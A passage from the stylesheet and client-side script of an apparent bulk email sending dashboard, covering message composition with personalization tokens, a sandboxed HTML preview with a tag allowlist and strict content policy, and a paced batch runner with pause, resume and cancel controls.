8px;margin-right:9px;cursor:pointer}.message-editor{font-family:Consolas,"SFMono-Regular",monospace;font-size:12px;min-height:232px}.field-help{font-size:10px;color:var(--muted);margin-top:8px;line-height:1.65;overflow-wrap:anywhere}.field-help code{color:#c2b4dd;font-family:Consolas,"SFMono-Regular",monospace;font-size:10px}select{min-height:31px;width:auto;padding:5px 27px 5px 10px;font-size:11px}.format-control{display:flex;align-items:center;gap:6px}.disclosure{border-top:1px solid var(--border)}.disclosure summary{cursor:pointer;padding:15px 0;display:flex;align-items:center;font-size:11px;color:#d5cede;list-style:none;gap:10px}.disclosure summary::-webkit-details-marker{display:none}.disclosure summary:before{content:"+";color:var(--accent);font-size:16px;line-height:1}.disclosure[open] summary:before{content:"−"}.summary-detail{margin-left:auto;color:var(--muted);font-size:10px}.disclosure-content{padding:3px 0 18px}.disclosure-content>.field:last-of-type{margin-bottom:8px}.preview-container{padding-bottom:18px}.preview-meta{background:#24232c;border:1px solid #3a3642;border-bottom:0;border-radius:7px 7px 0 0;padding:12px 14px;display:flex;flex-direction:column;gap:5px;font-size:11px;overflow-wrap:anywhere}.preview-meta>span:first-child{color:var(--muted)}.preview-meta strong{font-weight:500;color:#ddd7e7}#preview-frame{display:block;width:100%;min-height:320px;border:1px solid #3a3642;background:#fff;border-radius:0 0 7px 7px}.send-area{margin-top:6px;border-top:1px solid var(--border);padding-top:23px}.test-field{margin-bottom:23px}.optional{font-size:10px;font-weight:400;color:var(--muted);margin-left:6px}.test-row{display:flex;gap:10px}.test-row input{flex:1;min-width:0}.compose-footer{display:flex;align-items:center;justify-content:space-between;gap:20px;padding-top:18px;border-top:1px solid var(--border)}.compose-footer p{max-width:250px;font-size:10px;color:var(--muted);line-height:1.65}.form-feedback{margin-top:12px;color:var(--red);font-size:12px}.workspace-sidebar{display:flex;flex-direction:column;gap:22px}.workspace-sidebar .panel{padding:24px}.workspace-sidebar h2{font-size:18px}.workspace-sidebar .eyebrow{font-size:9px;letter-spacing:1.3px}.workspace-sidebar .panel-heading{margin-bottom:19px}.connection-icon{width:31px;height:31px;display:grid;place-items:center;border:1px solid #3e354e;border-radius:8px;color:var(--accent);background:#231e2d;font-size:19px}.connection-details{margin:0 0 23px}.connection-details>div{display:flex;flex-direction:column;gap:5px;margin-bottom:16px}.connection-details>div:last-child{margin-bottom:0}.connection-details dt{font-size:10px;color:var(--muted)}.connection-details dd{margin:0;font-size:12px;overflow-wrap:anywhere}.compact-copy{font-size:11px;line-height:1.7;margin:-3px 0 20px}.suppression-panel .field{margin-bottom:17px}.delivery-note{display:flex;gap:12px;padding:0 10px 0 8px}.note-icon{width:18px;height:18px;display:grid;place-items:center;flex:none;border-radius:50%;border:1px solid #746a86;color:#bfa8e4;font-size:11px;font-family:Georgia,serif;margin-top:2px}.delivery-note h3{font-size:11px;color:#d4cddd;margin-bottom:7px}.delivery-note p{font-size:10px;color:var(--muted);line-height:1.8}.activity-panel{padding:27px 0 0;margin-top:25px;overflow:hidden}.activity-panel>.panel-heading{padding:0 27px;margin-bottom:10px}.activity-caption{padding:0 27px 22px;font-size:11px;color:var(--muted)}.table-scroll{overflow:auto}table{border-collapse:collapse;width:100%;font-size:12px;text-align:left}thead{background:#191922;color:var(--muted);font-size:10px}th{font-weight:500;padding:12px 20px;border-top:1px solid var(--border);border-bottom:1px solid var(--border);white-space:nowrap}td{padding:17px 20px;border-bottom:1px solid #292a34;vertical-align:top}th:first-child,td:first-child{padding-left:27px}th:last-child,td:last-child{padding-right:27px}tbody tr:last-child td{border-bottom:0}.message-cell{min-width:260px;max-width:500px}.message-cell>strong{display:block;font-weight:500;color:#e4dfed;font-size:12px;overflow-wrap:anywhere}.message-cell>span{display:block;color:var(--muted);font-size:11px;margin-top:4px;overflow-wrap:anywhere}.status-badge{display:inline-flex;align-items:center;gap:6px;padding:4px 8px;border-radius:5px;border:1px solid #3c3c49;background:#252530;color:#cac6d3;font-size:10px;white-space:nowrap}.status-badge:before{content:"";width:4px;height:4px;flex:none;border-radius:50%;background:currentColor}.status-accepted{border-color:#344b41;background:#1c2b25;color:var(--green)}.status-sending{border-color:#44405e;background:#272337;color:#c4b6f0}.status-queued{border-color:#3b3d4c;background:#22242e;color:#bfc4dc}.status-failed{border-color:#553740;background:#312027;color:var(--red)}.status-uncertain{border-color:#554833;background:#30281d;color:var(--amber)}.status-suppressed,.status-cancelled{color:#a6a2b0;background:#222129;border-color:#37343f}.mono{font-family:Consolas,monospace;color:#c3bdce;font-size:11px}.date-cell{font-size:10px;color:var(--muted);min-width:155px}.job-error,.review-note{font-size:10px;line-height:1.65;overflow-wrap:anywhere;margin-top:7px}.job-error{color:var(--red)}.review-note{color:var(--amber)}.empty-state{display:flex;align-items:center;flex-direction:column;text-align:center;padding:36px 24px 47px;border-top:1px solid var(--border);background:radial-gradient(ellipse at 50% 30%,#1e1b2a00,#11121855)}.empty-icon{display:grid;place-items:center;width:54px;height:54px;border:1px solid #41374f;border-radius:15px;color:#b8a1db;background:#241e2e;margin-bottom:17px}.empty-icon svg{width:34px;height:34px}.empty-state h3{font-size:15px;font-weight:500}.empty-state p{font-size:11px;color:var(--muted);margin-top:7px;max-width:390px}.text-link{font-size:11px;color:var(--accent);margin-top:15px}.text-link span{padding-left:6px}.notice{display:flex;align-items:flex-start;gap:12px;border:1px solid;border-radius:10px;padding:15px 18px;font-size:12px;margin-top:24px}.notice-symbol{display:grid;place-items:center;border:1px solid currentColor;width:20px;height:20px;border-radius:50%;font-weight:600;font-size:11px;flex:none}.notice p{padding-top:1px;overflow-wrap:anywhere}.notice-success{border-color:#344e43;background:#172720;color:#b2dcc3}.notice-error{border-color:#57373f;background:#2b1d23;color:#f0b6bf}.setup-notice h2{font-size:14px;letter-spacing:0;margin-bottom:7px}.setup-notice ul{padding-left:17px;margin:0}.setup-notice li{margin:5px 0;overflow-wrap:anywhere}.diagnostic-results{border-top:1px solid var(--border);margin-top:17px;padding-top:17px;display:grid;gap:13px}.diagnostic{display:flex;gap:10px}.diagnostic>span{width:17px;height:17px;display:grid;place-items:center;border:1px solid currentColor;border-radius:50%;font-size:10px;flex:none;margin-top:2px}.diagnostic strong{font-size:11px;font-weight:500}.diagnostic p{font-size:10px;color:var(--muted);line-height:1.7;margin-top:4px;overflow-wrap:anywhere}.diagnostic-ok{color:var(--green)}.diagnostic-warn{color:var(--amber)}.diagnostic-error{color:var(--red)}.site-footer{display:flex;justify-content:space-between;gap:20px;padding:27px 0 30px;color:#7e7d8c;font-size:10px;letter-spacing:.2px}.site-footer>span:first-child{color:#a59cac}.login-layout{min-height:calc(100vh - 181px);display:grid;grid-template-columns:1fr 410px;align-items:center;gap:80px;padding:62px 54px}.login-intro{position:relative;min-height:485px}.login-intro h1{font-size:65px;font-weight:500;line-height:1.06;letter-spacing:-3px;margin-top:24px;position:relative;z-index:1}.login-intro h1 span{color:var(--accent)}.intro-copy{font-size:14px;color:var(--muted);max-width:365px;line-height:1.85;margin-top:24px;position:relative;z-index:1}.login-features{display:flex;flex-wrap:wrap;column-gap:16px;row-gap:9px;font-size:10px;color:#bdb2cf;margin-top:28px;position:relative;z-index:1}.login-features span{display:flex;align-items:center;gap:7px}.login-features span:before{content:"";width:3px;height:3px;border-radius:50%;background:#bba3e8}.login-panel{padding:35px;background:linear-gradient(145deg,#1d1c27,#14151c);box-shadow:0 24px 80px #0002}.login-panel .eyebrow{font-size:9px}.login-panel h2{font-size:23px}.login-panel>.muted{font-size:12px;margin-top:12px}.login-fields{margin-top:32px}.login-fields input{margin-bottom:21px}.login-fields .button{min-height:45px}.login-footnote{font-size:10px;color:var(--muted);text-align:center;border-top:1px solid var(--border);padding-top:20px;margin-top:25px}.orbital-art{position:absolute;left:32px;bottom:-49px;width:350px;height:215px;opacity:.8}.orbital-line{position:absolute;border:1px solid #393144;border-radius:50%;transform:rotate(-20deg);left:0;top:25px;width:330px;height:120px}.orbital-two{transform:rotate(15deg);width:280px;height:145px;left:20px;top:20px;border-color:#322939}.orbital-three{transform:rotate(-47deg);width:290px;height:100px;left:18px;top:37px;border-color:#463553}.orbital-core{position:absolute;left:132px;top:56px;display:grid;place-items:center;width:65px;height:65px;border-radius:18px;color:#c5a9f0;background:linear-gradient(135deg,#3c2e50,#211b2e);border:1px solid #615077;transform:rotate(-10deg);box-shadow:0 0 65px #65428e22}.orbital-core svg{width:51px;height:51px}.orbital-dot{position:absolute;width:8px;height:8px;border-radius:50%;background:#bea2e8;box-shadow:0 0 16px #b796e36b}.dot-one{left:42px;top:116px}.dot-two{right:54px;top:41px;width:5px;height:5px;background:#776889}.visually-hidden{position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.skip-link{position:fixed;z-index:100;top:10px;left:16px;padding:10px 15px;background:var(--accent);color:#211633;border-radius:7px;transform:translateY(-200%)}.skip-link:focus{transform:translateY(0)}[hidden]{display:none!important} @media(min-width:1500px){.app-shell{max-width:1440px;padding:0 60px}.workspace-grid{grid-template-columns:minmax(0,1fr) 360px}.panel{padding:30px}.workspace-sidebar .panel{padding:26px}} @media(max-width:1100px){.app-shell{padding:0 28px}.workspace-grid{grid-template-columns:minmax(0,1fr) 300px;gap:19px}.panel{padding:23px}.workspace-sidebar .panel{padding:21px}.metric{padding:20px}.login-layout{padding:56px 16px;gap:45px;grid-template-columns:minmax(0,1fr) 380px}.login-intro h1{font-size:57px}.login-intro{min-height:455px}.login-features{gap:10px}.orbital-art{left:0}.compose-footer{gap:16px}.compose-footer p{max-width:185px}.fixed-label{display:none}} @media(max-width:900px){.workspace-grid{grid-template-columns:minmax(0,1fr)}.workspace-sidebar{display:grid;grid-template-columns:1fr 1fr;align-items:start}.delivery-note{grid-column:1/-1;max-width:700px;padding:0 8px 4px}.page-heading h1{font-size:31px}.metric{padding:19px}.metric small{font-size:10px}.metric>span{font-size:11px}.top-nav{gap:22px;margin-right:0}.login-layout{padding:50px 0;gap:35px;grid-template-columns:minmax(0,1fr) 350px}.login-panel{padding:28px}.login-intro h1{font-size:51px}.intro-copy{font-size:13px}.orbital-art{left:-30px;transform:scale(.85)}.compose-footer p{max-width:300px}.fixed-label{display:block}} @media(max-width:720px){.app-shell{padding:0 20px}.topbar{height:87px;gap:16px}.brand{font-size:17px;gap:9px}.brand-mark{height:38px;width:38px;border-radius:10px}.brand small{font-size:8px;letter-spacing:2px}.top-nav{display:none}.topbar-note{font-size:10px}.logout-form .button{font-size:11px;padding:8px 10px;min-height:36px}.page-heading{padding:31px 0 24px}.page-heading h1{font-size:29px;letter-spacing:-1px}.page-heading .muted{font-size:12px;max-width:340px}.workspace-label{display:none}.metrics{grid-template-columns:repeat(2,minmax(0,1fr));margin-bottom:20px}.metric{padding:18px 20px}.metric strong{font-size:30px;margin-top:6px}.metric:nth-child(3),.metric:nth-child(4){border-top:1px solid var(--border)}.metric:nth-child(3):before{display:none}.metric+.metric:before{top:18px;bottom:18px}.metric small{font-size:10px}.workspace-sidebar{gap:18px}.workspace-sidebar .panel{padding:20px}.panel-heading .eyebrow{font-size:9px}.panel-heading h2{font-size:20px}.activity-panel{margin-top:20px}.site-footer{padding:24px 0}.login-layout{grid-template-columns:1fr;gap:30px;max-width:450px;margin:auto;min-height:calc(100vh - 163px);padding:36px 0}.login-intro{min-height:0}.login-intro h1{font-size:43px;letter-spacing:-2px;margin-top:17px}.login-intro h1 br{display:none}.intro-copy{font-size:12px;margin-top:17px;max-width:none}.login-features{margin-top:18px;font-size:9px;column-gap:15px}.orbital-art{display:none}.login-panel{padding:28px}.login-panel h2{font-size:22px}.login-fields{margin-top:24px}.site-footer{font-size:9px}.login-footnote{line-height:1.7}} @media(max-width:540px){.app-shell{padding:0 14px}.brand{font-size:16px}.brand small{font-size:7px;letter-spacing:1.7px}.topbar-note{max-width:100px;line-height:1.5}.topbar-note .status-dot{flex:none}.page-heading h1{font-size:26px}.page-heading .eyebrow{font-size:9px}.metric{padding:16px}.metric>span{font-size:10px}.metric small{font-size:9px}.metric strong{font-size:29px}.panel,.workspace-sidebar .panel{padding:20px 17px;border-radius:12px}.panel-heading{margin-bottom:20px}.panel-heading h2{font-size:19px}.sender-card{padding:13px 11px;gap:10px;margin-bottom:21px}.fixed-label{display:none}.sender-card strong{font-size:11px}.sender-email{font-size:10px}.sender-avatar{height:32px;width:32px}.field-help{font-size:10px}.label-row{gap:8px}.label-row>.muted{font-size:9px}.summary-detail{font-size:9px}.disclosure summary{font-size:10px;gap:7px}.test-row{flex-wrap:wrap;gap:9px}.test-row input{flex:1 1 100%}.test-row .button{width:100%}.compose-footer{flex-direction:column;align-items:stretch;gap:14px}.compose-footer p{max-width:none}.compose-footer .button{width:100%;min-height:45px}.workspace-sidebar{grid-template-columns:1fr;gap:18px}.workspace-sidebar .panel-heading h2{font-size:19px}.connection-details{display:grid;grid-template-columns:1fr 1fr;gap:16px;margin-bottom:20px}.connection-details>div{margin:0;min-width:0}.connection-details dd{font-size:11px}.delivery-note{padding:0 6px}.activity-panel{padding:20px 0 0}.activity-panel>.panel-heading{padding:0 17px}.activity-panel>.panel-heading .button{font-size:10px;gap:8px;min-height:34px;padding:8px 10px}.activity-caption{padding:0 17px 18px;font-size:10px}.activity-panel h2{font-size:18px}.empty-state{padding:29px 19px 35px}.empty-state h3{font-size:14px}.empty-state p{font-size:10px}.site-footer{gap:10px;font-size:8px}.notice{padding:13px 12px;font-size:11px;gap:9px}.login-panel{padding:26px 22px}.login-layout{padding:32px 4px}.login-intro h1{font-size:40px}.login-intro .eyebrow{font-size:8px;letter-spacing:1.5px}} .history-actions{display:flex;align-items:center;gap:10px}.history-actions form{margin:0}.message-id{margin-top:7px;color:var(--muted);font-size:9px}.message-id summary{cursor:pointer;color:#b5a5cf}.message-id code{display:block;overflow-wrap:anywhere;white-space:normal;margin-top:7px;font:10px/1.7 Consolas,"SFMono-Regular",monospace;color:#b7a8cf}.message-id[open]{margin-bottom:8px} @media(max-width:540px){.activity-panel>.panel-heading{flex-wrap:wrap;gap:17px}.history-actions{width:100%;gap:8px}.history-actions form{flex:1}.history-actions form .button{width:100%}.activity-panel>.panel-heading .history-actions .button{min-height:39px;font-size:11px}.message-id{font-size:9px}} @media(prefers-reduced-motion:reduce){html{scroll-behavior:auto}*,*:before,*:after{transition:none!important;animation:none!important}} .limits-form{border-top:1px solid var(--border);margin-top:22px;padding-top:20px}.limits-form h3{margin-bottom:16px}.limits-fields{display:grid;grid-template-columns:1fr 1fr;gap:12px}.limits-fields .field{min-width:0;margin-bottom:16px}.limits-fields input{width:100%;min-width:0;background:var(--input);border:1px solid var(--border);border-radius:8px;color:var(--text);padding:11px 12px}.limits-fields input:focus{border-color:var(--accent)} .mail-server-detection{border-top:1px solid var(--border);margin-bottom:18px;padding-top:20px;scroll-margin-top:24px}.mail-server-detection h3{margin-bottom:16px}.mail-server-detection .diagnostic{margin-bottom:14px}.mail-server-facts{margin:16px 0}.mail-server-facts>div{margin-bottom:12px;min-width:0}.mail-server-facts dt{font-size:10px;color:var(--muted);margin-bottom:5px}.mail-server-facts dd{margin:0;font-size:12px;line-height:1.6;color:var(--text);overflow-wrap:anywhere}.mail-server-detection .field-help{margin-bottom:0} #batch-runner>.panel-heading{padding:0 27px;margin-bottom:12px}.batch-card{border-top:1px solid var(--border);padding:25px 27px;background:linear-gradient(130deg,#19172233,transparent)}.batch-heading{display:flex;align-items:flex-start;justify-content:space-between;gap:18px}.batch-heading h3{font-size:16px;overflow-wrap:anywhere}.batch-heading .muted{font-size:11px;margin-top:6px}.batch-progress{display:block;width:100%;height:7px;margin:20px 0 12px;border:0;border-radius:8px;overflow:hidden;accent-color:var(--accent);background:var(--input)}.batch-progress::-webkit-progress-bar{background:var(--input)}.batch-progress::-webkit-progress-value{background:var(--accent);border-radius:8px}.batch-progress::-moz-progress-bar{background:var(--accent)}.batch-totals{font-size:11px;color:var(--muted);line-height:1.9}.batch-recipients{margin-top:16px}.batch-recipients>summary{cursor:pointer;color:var(--accent);font-size:12px}.batch-recipients .table-scroll{margin-top:16px;border:1px solid var(--border);border-radius:8px}.batch-pagination{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-top:12px;font-size:11px;color:var(--muted)}.runner-error{margin:0 27px 20px;padding:13px;border:1px solid #57373f;border-radius:8px;color:var(--red);font-size:12px}.status-paused{color:var(--amber)}#runner-status{min-height:40px}.history-actions{flex-wrap:wrap}#settings-feedback{min-height:18px} @media(max-width:540px){#batch-runner>.panel-heading{padding:0 17px;flex-wrap:wrap;gap:16px}.batch-card{padding:20px 17px}.batch-heading{flex-wrap:wrap}.batch-pagination{font-size:10px}.runner-error{margin-left:17px;margin-right:17px}.history-actions>button{flex:1;white-space:nowrap}} </style> <script nonce="<?= e($view['nonce']) ?>" defer> document.addEventListener('DOMContentLoaded', function () { 'use strict'; (() => { const compose = document.getElementById('compose-form'); if (!compose) return; const recipients = document.getElementById('recipients'); const recipientCount = document.getElementById('recipient-count'); const subject = document.getElementById('subject'); const body = document.getElementById('body'); const format = document.getElementById('format'); const preview = document.getElementById('message-preview'); const previewFrame = document.getElementById('preview-frame'); const previewSubject = document.getElementById('preview-subject'); const attachments = document.getElementById('attachments'); const attachmentSummary = document.getElementById('attachment-summary'); const feedback = document.getElementById('compose-feedback'); const testRecipient = document.getElementById('test-recipient'); const recipientLines = () => recipients.value.split(/[\r\n,;]+/).map(line => line.trim()).filter(Boolean); const updateRecipientCount = () => { const count = recipientLines().length; const uniqueCount = new Set(recipientLines().map(address => address.toLowerCase())).size; recipientCount.textContent = count === 0 ? 'One address per line' : `${uniqueCount} unique ${uniqueCount === 1 ? 'address' : 'addresses'}`; }; const escapeHtml = value => value.replace(/[&<>"']/g, character => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[character])); const previewHtml = value => { // Reconstruct a small set of email formatting tags rather than parse // active markup into the application's document. The iframe adds an // independent sandbox and CSP boundary to this display-only preview. const tags = new Set(['a', 'abbr', 'b', 'blockquote', 'br', 'caption', 'code', 'col', 'colgroup', 'dd', 'del', 'div', 'dl', 'dt', 'em', 'font', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img', 'li', 'ol', 'p', 'pre', 's', 'small', 'span', 'strong', 'sub', 'sup', 'table', 'tbody', 'td', 'th', 'thead', 'tr', 'u', 'ul']); const attributes = new Set(['align', 'valign', 'width', 'height', 'border', 'cellpadding', 'cellspacing', 'colspan', 'rowspan', 'alt', 'title', 'style', 'color', 'size', 'face']); const input = value.replace(/<(script|style|title|noscript)\b[^>]*>[\s\S]*?<\/\1\s*>/gi, ''); const tokens = /<!--[\s\S]*?-->|<[^>]*>/g; let output = ''; let position = 0; let token; while ((token = tokens.exec(input)) !== null) { output += input.slice(position, token.index).replace(/</g, '<'); position = tokens.lastIndex; const match = /^<\s*(\/?)\s*([a-z][a-z0-9]*)\b([\s\S]*?)>$/i.exec(token[0]); if (!match) continue; const tag = match[2].toLowerCase(); if (!tags.has(tag)) continue; if (match[1]) { output += `</${tag}>`; continue; } let safeAttributes = ''; const attributeTokens = /([^\s=\/'"<>]+)(?:\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s'"=<>`]+)))?/g; let attribute; while ((attribute = attributeTokens.exec(match[3])) !== null) { const name = attribute[1].toLowerCase(); const content = attribute[2] ?? attribute[3] ?? attribute[4] ?? ''; if (attributes.has(name)) safeAttributes += ` ${name}="${escapeHtml(content)}"`; if (tag === 'img' && name === 'src' && /^data:image\/(?:png|jpeg|gif|webp);base64,[a-z0-9+/=\s]+$/i.test(content)) { safeAttributes += ` src="${escapeHtml(content)}"`; } } output += `<${tag}${safeAttributes}>`; } return output + input.slice(position).replace(/</g, '<'); }; const personalize = value => { const date = new Date().toISOString().slice(0, 16).replace('T', ' ') + ' UTC'; const samples = { '{{email}}': 'reader@example.com', '{{email_user}}': 'reader', '{{email_domain}}': 'example.com', '{{date}}': date, '[-email-]': 'reader@example.com', '[-emailuser-]': 'reader', '[-emaildomain-]': 'example.com', '[-time-]': date }; return value.replace(/\{\{(?:email|email_user|email_domain|date)\}\}|\[-(?:email|emailuser|emaildomain|time)-\]/g, token => samples[token]); }; let previewTimer; const updatePreview = () => { if (!preview.open) return; previewSubject.textContent = personalize(subject.value) || 'Your subject appears here'; const message = personalize(body.value); const content = message.length === 0 ? '<p style="color:#787381">Your message preview will appear here as you write.</p>' : format.value === 'plain' ? `<pre style="white-space:pre-wrap;overflow-wrap:anywhere;font:14px/1.65 system-ui,sans-serif">${escapeHtml(message)}</pre>` : previewHtml(message); // Formatting-only HTML is rendered inside an opaque-origin sandbox. // The policy additionally blocks external resources, scripts, frames // and forms. The application never uses innerHTML for user values. const policy = "default-src 'none'; script-src 'none'; style-src 'unsafe-inline'; img-src data:; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'"; previewFrame.srcdoc = `<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="Content-Security-Policy" content="${policy}"><meta name="referrer" content="no-referrer"><style>html{color-scheme:light}body{margin:0;padding:24px;background:#fff;color:#27232e;font:14px/1.65 system-ui,sans-serif;overflow-wrap:anywhere}img{max-width:100%;height:auto}a{pointer-events:none}input,button,select,textarea{pointer-events:none}</style></head><body>${content}</body></html>`; }; const schedulePreview = () => { window.clearTimeout(previewTimer); previewTimer = window.setTimeout(updatePreview, 180); }; recipients.addEventListener('input', updateRecipientCount); [subject, body, format].forEach(element => element.addEventListener('input', schedulePreview)); preview.addEventListener('toggle', updatePreview); attachments.addEventListener('change', () => { const files = Array.from(attachments.files || []); const bytes = files.reduce((total, file) => total + file.size, 0); attachmentSummary.textContent = files.length ? `${files.length} ${files.length === 1 ? 'file' : 'files'} selected · ${(bytes / 1024 / 1024).toFixed(2)} MB total` : ''; }); compose.addEventListener('submit', event => { feedback.hidden = true; const mode = event.submitter ? event.submitter.value : 'queue'; const lines = recipientLines(); const maximum = Number.parseInt(recipients.dataset.maxRecipients, 10); let message = ''; let target = recipients; if (mode === 'test' && !testRecipient.value.trim()) { message = 'Enter a test recipient to queue a single test message.'; target = testRecipient; } else if (mode === 'queue' && lines.length === 0) { message = 'Add at least one recipient before queueing this message.'; } else if (mode === 'queue' && Number.isFinite(maximum) && maximum > 0 && new Set(lines.map(address => address.toLowerCase())).size > maximum) { message = `This submission allows up to ${maximum} recipient addresses. Reduce your list and try again.`; } if (message) { event.preventDefault(); feedback.textContent = message; feedback.hidden = false; target.focus(); } }); updateRecipientCount(); })(); (() => { const root = document.getElementById('batch-runner'); if (!root) return; const initial = JSON.parse(root.dataset.state); const csrf = root.dataset.csrf; const endpoint = root.dataset.endpoint; const list = document.getElementById('batch-list'); const empty = document.getElementById('batch-empty'); const notice = document.getElementById('runner-notice'); const statusLine = document.getElementById('runner-status'); const settingsForm = document.getElementById('sending-settings'); const settingsFeedback = document.getElementById('settings-feedback'); const cards = new Map(); const labels = {queued: 'Queued', sending: 'Sending', accepted: 'Transport accepted', failed: 'Failed', uncertain: 'Needs review', cancelled: 'Cancelled', suppressed: 'Suppressed', running: 'Running', paused: 'Paused', complete: 'Complete', attention: 'Needs attention'}; let state = initial; let inFlight = 0; let nextStart = 0; let pumpTimer; let stopped = false; let controlPending = false; async function request(action, fields = {}) { const response = await fetch(endpoint, { method: 'POST', credentials: 'same-origin', cache: 'no-store', headers: {'Accept': 'application/json'}, body: new URLSearchParams({ajax: '1', csrf, action, ...fields}) }); let payload; try { payload = await response.json(); } catch (_) { throw new Error('The server response was interrupted. Reload to recover saved progress before resuming.'); } if (!response.ok || !payload.ok) throw new Error(payload.error || 'The request failed. Reload before resuming.'); return payload; } function showError(error) { stopped = true; clearTimeout(pumpTimer); notice.textContent = error.message || 'Connection interrupted. Reload to recover saved progress.'; notice.hidden = false; render(); } function addCard(batch) { const card = document.createElement('article'); card.className = 'batch-card'; // Only fixed markup enters innerHTML. Subjects, addresses and errors use textContent. card.innerHTML = '<div class="batch-heading"><div><h3 data-field="subject"></h3><p class="muted" data-field="meta"></p></div><span class="status-badge" data-field="status"></span></div><progress class="batch-progress" max="100" value="0" aria-label="Batch progress"></progress><p class="batch-totals" data-field="totals"></p><details class="batch-recipients"><summary>Recipient results</summary><p class="field-help">Every recipient stays in this batch. Results are shown 50 at a time.</p><div class="table-scroll"><table><thead><tr><th>Recipient</th><th>Result</th><th>Attempts</th></tr></thead><tbody></tbody></table></div><div class="batch-pagination"><button type="button" class="button button-small button-quiet" data-page="previous">Previous</button><span data-field="page"></span><button type="button" class="button button-small button-quiet" data-page="next">Next</button></div><p class="field-help" data-field="detail-error" role="status"></p></details>'; const info = {card, page: 0, pages: 1, loading: false, stamp: ''}; card.querySelector('details').addEventListener('toggle', () => { if (card.querySelector('details').open) loadDetails(batch.key, info); }); card.querySelectorAll('[data-page]').forEach(button => button.addEventListener('click', () => { info.page = Math.max(0, Math.min(info.pages - 1, info.page + (button.dataset.page === 'next' ? 1 : -1))); loadDetails(batch.key, info); })); cards.set(batch.key, info); return info; } async function loadDetails(key, info) { if (info.loading) return; info.loading = true; info.card.querySelectorAll('[data-page]').forEach(button => { button.disabled = true; }); try { const payload = await request('details', {batch_key: key, page: String(info.page)}); const details = payload.details; info.page = details.page; info.pages = details.pages; const rows = document.createDocumentFragment(); for (const job of details.jobs) { const row = document.createElement('tr'); const recipient = document.createElement('td'); recipient.className = 'message-cell'; const address = document.createElement('strong'); address.textContent = job.recipient; recipient.append(address); const messageId = document.createElement('details'); messageId.className = 'message-id'; const summary = document.createElement('summary'); summary.textContent = 'Message-ID for log lookup'; const code = document.createElement('code'); code.textContent = job.message_id; messageId.append(summary, code); recipient.append(messageId); if (job.error) { const error = document.createElement('p'); error.className = 'job-error'; error.textContent = job.error; recipient.append(error); } const result = document.createElement('td'); const badge = document.createElement('span'); badge.className = 'status-badge status-' + job.status; badge.textContent = labels[job.status] || job.status; result.append(badge); const attempts = document.createElement('td'); attempts.textContent = String(job.attempts); row.append(recipient, result, attempts); rows.append(row); } info.card.querySelector('tbody').replaceChildren(rows); info.card.querySelector('[data-field="page"]').textContent = `Page ${details.page + 1} of ${details.pages} / ${details.total} recipients`; info.card.querySelector('[data-field="detail-error"]').textContent = ''; } catch (error) { info.card.querySelector('[data-field="detail-error"]').textContent = error.message; } finally { info.loading = false; info.card.querySelector('[data-page="previous"]').disabled = info.page === 0; info.card.querySelector('[data-page="next"]').disabled = info.page >= info.pages - 1; } } function render() { empty.hidden = state.batches.length !== 0; for (const batch of state.batches) { const info = cards.get(batch.key) || addCard(batch); const field = name => info.card.querySelector(`[data-field="${name}"]`); field('subject').textContent = batch.subject; field('meta').textContent = `${batch.total.toLocaleString()} recipients in one batch / ${new Date(batch.created_at * 1000).toLocaleString()}`; field('status').textContent = labels[batch.status] || batch.status; field('status').className = 'status-badge status-' + ({running: 'sending', complete: 'accepted', attention: 'uncertain'}[batch.status] || batch.status); const progress = info.card.querySelector('progress'); progress.value = batch.total ? batch.done * 100 / batch.total : 100; progress.setAttribute('aria-label', `${batch.done} of ${batch.total} recipients processed`); const c = batch.counts; field('totals').textContent = `${batch.done} / ${batch.total} processed | ${c.queued} queued | ${c.sending} sending | ${c.accepted} accepted | ${c.failed} failed | ${c.uncertain} uncertain | ${c.cancelled} cancelled | ${c.suppressed} suppressed`; const stamp = JSON.stringify(c); if (info.stamp !== stamp && info.card.querySelector('details').open) loadDetails(batch.key, info); info.stamp = stamp; list.append(info.card); } document.querySelectorAll('[data-metric]').forEach(element => { element.textContent = String(element.dataset.metric === 'attention' ? state.counts.failed + state.counts.uncertain : state.counts[element.dataset.metric]); }); const attention = document.getElementById('attention-breakdown'); if (attention) attention.textContent = `${state.counts.failed} failed / ${state.counts.uncertain} uncertain`; document.getElementById('sending-summary').textContent = `${state.settings.delay_seconds} s between emails / ${state.settings.threads} threads`; const active = state.active; const waiting = active && active.counts.queued > 0; document.getElementById('pause-batch').disabled = controlPending || !waiting || !active.running; document.getElementById('resume-batch').disabled = controlPending || !waiting || (active.running && !stopped); document.getElementById('cancel-batch').disabled = controlPending || !waiting; if (stopped) statusLine.textContent = 'Sending stopped in this tab. Resolve the error, then resume or reload.'; else if (!active) statusLine.textContent = 'Start a batch from the composer.'; else if (!waiting && active.counts.sending === 0) statusLine.textContent = 'Batch finished. Open recipient results to review individual outcomes.'; else if (!active.running) statusLine.textContent = 'Batch paused. Already-started emails may still finish.'; else statusLine.textContent = `Sending automatically / ${state.settings.delay_seconds} s minimum gap / up to ${state.settings.threads} concurrent sends. Keep this page open.`; } function schedule() { clearTimeout(pumpTimer); if (stopped || controlPending || !state.active || !state.active.running || state.active.counts.queued === 0) return; pumpTimer = setTimeout(pump, Math.max(0, nextStart - Date.now())); } function accept(snapshot) { if (!snapshot || snapshot.revision < state.revision) return; state = snapshot; nextStart = Date.now() + snapshot.wait_ms; render(); schedule(); } function pump() { if (stopped || controlPending || !state.active || !state.active.running || state.active.counts.queued === 0) return; if (inFlight >= state.settings.threads || state.active.counts.sending >= state.settings.threads) return; if (Date.now() < nextStart) { schedule(); return; } const slots = Math.min(state.settings.threads - inFlight, state.settings.threads - state.active.counts.sending, state.active.counts.queued); const launches = state.settings.delay_seconds > 0 ? Math.min(1, slots) : slots; for (let index = 0; index < launches; index++) { inFlight++; nextStart = Date.now() + state.settings.delay_seconds * 1000; work(state.active.key); } if (inFlight < state.settings.threads && state.settings.delay_seconds > 0) schedule(); } async function work(key) { try { accept((await request('work', {batch_key: key})).state); } catch (error) { showError(error); } finally { inFlight--; schedule(); } } async function poll() { try { if (!stopped) accept((await request('status')).state); } catch (error) { 